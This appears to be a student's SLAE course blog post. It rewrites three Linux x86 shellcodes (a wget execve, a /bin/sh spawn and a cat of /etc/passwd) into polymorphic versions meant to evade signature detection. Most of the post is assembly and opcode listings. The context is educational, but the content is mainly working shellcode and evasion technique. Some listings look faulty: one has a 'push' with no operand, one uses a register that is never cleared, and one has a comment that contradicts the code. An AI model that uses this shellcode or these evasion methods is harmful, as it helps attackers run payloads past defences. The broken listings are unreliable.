SLAE: Polymorphic Shellcode

4 minute read

*all supporting code can be found here*

slae32 Student ID: SLAE - 1532

Assignment 6 tasks us to take three shellcodes from shell-storm and create polymorphic versions of them, to avoid pattern and signature detection.

In layman’s terms, this essentially means we will rewrite the assembly code to perform the same function, but with as many different ways of doing so as possible.

The only constraint we have is that our polymorphic version cannot be more than 150% larger than our sample. Likewise we receive bonus points for making our code shorter than the original.

Shellcode 1:

We start with polymorphing a basic wget payload:

http://shell-storm.org/shellcode/files/shellcode-611.php

Original:

Shellcode length: 42

08048054 <.text>:
 8048054:	6a 0b                	push   $0xb
 8048056:	58                   	pop    %eax
 8048057:	99                   	cltd   
 8048058:	52                   	push   %edx
 8048059:	68 61 61 61 61       	push   $0x61616161
 804805e:	89 e1                	mov    %esp,%ecx
 8048060:	52                   	push   %edx
 8048061:	6a 74                	push   $0x74
 8048063:	68 2f 77 67 65       	push   $0x6567772f
 8048068:	68 2f 62 69 6e       	push   $0x6e69622f
 804806d:	68 2f 75 73 72       	push   $0x7273752f
 8048072:	89 e3                	mov    %esp,%ebx
 8048074:	52                   	push   %edx
 8048075:	51                   	push   %ecx
 8048076:	53                   	push   %ebx
 8048077:	89 e1                	mov    %esp,%ecx
 8048079:	cd 80                	int    $0x80
 804807b:	40                   	inc    %eax
 804807c:	cd 80                	int    $0x80
*/

global _start

I made some basic adjustments, to the point it is quite different from the original and only 9 bytes longer, 123% larger.

Polymorphic:

Shellcode Length: 51

global _start			

section .text
_start:

	xor ecx, ecx
	mul ecx ; this one instruction sets both eax and edx to 0, this is because mul results are stored in EAX and EDX
	push eax
	mov cl, 11
a:
	inc eax ; increment cl 11 times to set to execve syscall
	loop a

	push 0x63636363

	mov ecx, esp ; the null and "cccc" get moved to ecx
	push edx
	push 0x74 ;t
	push 0x6567772f ;egw/
	push 0x6e69622f ;nib/
	push 0x7273752f ;rsu/
	mov ebx, esp ; they then get moved into ebx
	push esi ; push a null
	mov esi, ecx ; move ecx args into esi (0x0,0x63636363)
	push esi
	push ebx
	mov ecx, esp
	int 0x80
	inc edx
	mov eax, edx
	int 0x80

shellcode1

Shellcode 2:

Next a shell-spawn, a simple /bin/sh

http://shell-storm.org/shellcode/files/shellcode-811.php

Rather than simply pushing on /bin//sh like a boring pleb, we will reduce the value by 0x10 (16) and then increment via a loop.

Our polymorphic version is 8 bytes longer, keeping us under the threshold at 128% larger

Original:

Shellcode length: 28

08048060 <_start>:
 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 89 e3                 mov    %esp,%ebx
 804806f: 89 c1                 mov    %eax,%ecx
 8048071: 89 c2                 mov    %eax,%edx
 8048073: b0 0b                 mov    $0xb,%al
 8048075: cd 80                 int    $0x80
 8048077: 31 c0                 xor    %eax,%eax
 8048079: 40                    inc    %eax
 804807a: cd 80                 int    $0x80
Polymorphic:

Shellcode length: 36

global _start			

section .text
_start:
    xor ecx, ecx
    mul ecx
    push eax
    mov cl, 16
    mov edi, 0x68732f1f
    mov edx, 0x6e69621f
a:
    inc edi
    inc edx
    loop a
    push edi
    push edx

    mov ebx, esp
    mov ecx, esi
    mov edx, esi
    mov al, 0xb
    int 0x80
    inc esi
    int 0x80

shellcode2

Shellcode 3:

The last shellcode will invoke execve once more, this time to cat the contents of etc/passwd.

http://shell-storm.org/shellcode/files/shellcode-571.php

Quite a few additions and changes have been made, and we just scraped by with a polymorphic version that is 21 bytes longer and 148.84% larger. I certainly could have reduced the size by taking a different route, however wanted to be creative with how I changed the code and so I opted to use up my 150% size allowance.

The most noticeable is that the original strings containing commands as arguments have been either reduced or increased, with loop functions bringing them back to what they should be while stored in registers, before before pushed to the stack.

Original:

Shellcode length: 43

const char shellcode[]="\x31\xc0" // xorl %eax,%eax
"\x99" // cdq
"\x52" // push edx
"\x68\x2f\x63\x61\x74" // push dword 0x7461632f
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f
"\x89\xe3" // mov ebx,esp
"\x52" // push edx
"\x68\x73\x73\x77\x64" // pu sh dword 0x64777373
"\x68\x2f\x2f\x70\x61" // push dword 0x61702f2f
"\x68\x2f\x65\x74\x63" // push dword 0x6374652f
"\x89\xe1" // mov ecx,esp
"\xb0\x0b" // mov $0xb,%al
"\x52" // push edx
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx,esp
"\xcd\x80" ; // int 80h
Polymorphic:

Shellcode length: 64

    xor ecx, ecx
    mul ecx
    push esi
    mov cl, 16
    mov edi, 0x7461633f
    mov edx, 0x6e69623f

a:
    dec edi
    dec edx
    loop a

    push edi
    push edx

    mov ebx, esp
    push 

    mov edi, 0x64777363
    mov edx, 0x61702f1f
    mov esi, 0x6374651f

    mov cl, 16
b:
    inc edi
    inc edx
    inc esi
    loop b

    push edi
    push edx
    push esi

    mov ecx, esp

    mov al, 11

    push edx
    push ecx
    push ebx
    mov ecx, esp
    int 0x80

shellcode3